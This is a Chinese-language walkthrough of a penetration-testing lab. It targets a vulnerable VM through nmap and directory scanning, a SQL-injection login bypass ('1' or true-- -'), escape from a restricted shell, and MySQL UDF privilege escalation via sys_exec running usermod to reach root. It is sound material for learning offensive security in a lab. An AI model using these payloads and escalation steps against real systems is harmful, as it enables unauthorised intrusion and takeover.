目录
- 一、环境搭建
- 信息收集
- 扫描ip
- 扫描开放端口
- 扫描版本服务信息
- 指纹探测
- 目录扫描
- 二、Web渗透
- sql注入
- 三、提权
- UDF提权
- 修改权限
一、环境搭建
然后选择靶机所在文件夹
信息收集
本靶机ip和攻击机ip
攻击机:192.168.108.130
靶机:192.168.108.141
扫描ip
靶机ip为:192.168.108.141
扫描开放端口
可用信息
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
扫描版本服务信息
可用信息
//端口 //应用层协议 //详细信息
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) //操作系统ubuntu
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
指纹探测
nmap 192.168.108.141 -p 22,80,139,445 -sV -sC -O --version-all
可用信息:
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Samba smbd 3.0.28a
目录扫描
dirsearch -u http://192.168.108.141 -e*
dirb http://192.168.108.141
可用信息:
http://192.168.108.141/images/ //图片
http://192.168.108.141/checklogin.php //检测登录情况
http://192.168.108.141/database.sql //数据库文件
http://192.168.108.141/index.php //主页面
http://192.168.108.141/john/ //用户john
http://192.168.108.141/logout //登出
http://192.168.108.141/member //用户个人空间
http://192.168.108.141/server-status //常见的用于监控和获取 Web 服务器状态的文件或页面
二、Web渗透
访问80端口,一个登录框,尝试弱口令无果
根据信息收集的东西,访问database.sql页面,有三个传参点,id,username,password,以及一个可能是用户名和密码的消息
尝试后发现不对
sql注入
密码处报错,存在注入
利用万能密码尝试
1' or true-- - #'将sql语句注释 or ture 添加永真条件 -- -:注释掉后面的 SQL 代码,防止其执行
登录查看,发现这是member的页面,查看源码并未有什么有用消息
三、提权
拿到了账号密码就可以使用ssh连接,这里使用**-o HostKeyAlgorithms=+ssh-rsa**算法连接,因为靶机只支持该算法
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.108.141
成功登录之后发现让我们输入help或?,输入看看,回显了一部分命令,看来是我们只能使用这些命令进行操作,这里可能需要使用shell逃逸,即绕过安全限制
可用命令如下
cd clear echo exit help ll lpath ls
找找可用信息,可用看到我们是john用户,有几个可疑文件**.bash_history、
.bash_logout和
.lhistory**
查看当前SHELL变量,使用echo $SHELL
成功切换shell,查看当前进程,发现mysql是以root权限进行的
UDF提权
这里我们可用使用UDF提权
在 MySQL 中,UDF(User Defined Function,用户定义函数)提权是一种利用用户定义函数的漏洞或特性来提升权限的攻击手段。攻击者可以通过创建恶意的用户定义函数来执行任意代码,从而获得更高的权限,甚至可能完全控制数据库服务器
查找先前收集的php信息
find / -name *.php 2> /dev/null #2> /dev/null的意思是将错误信息全部丢弃,/dev/null是一个特殊设备文件,任何写入的设备都会被丢弃
查看一下登录检测页面,发现mysql密码为空,也是挺抽象
连接mysql,成功连接
查看数据库和数据表,有一个可疑文件
看看该表
select * from 'func';
修改权限
发现一个sys_exec函数,sys_exec
函数是一个用户定义函数(UDF),它允许执行系统命令并返回命令的输出。这个函数并不是 MySQL 的内置函数,而是通过安装特定的 UDF 扩展来实现的。
修改john为管理员
select sys_exec('usermod -a -G admin john');
看看参数的意思
usermod
是一个 Linux 命令,用于修改用户账户的属性。-a
选项表示将用户添加到指定的组,而不从其他组中删除。-G admin
指定要将用户添加到的组,这里是admin
组。john
是要修改的用户名。
exit退出mysql,输入sudo -i即可拿到root权限
这里看看两中切换管理员命令的区别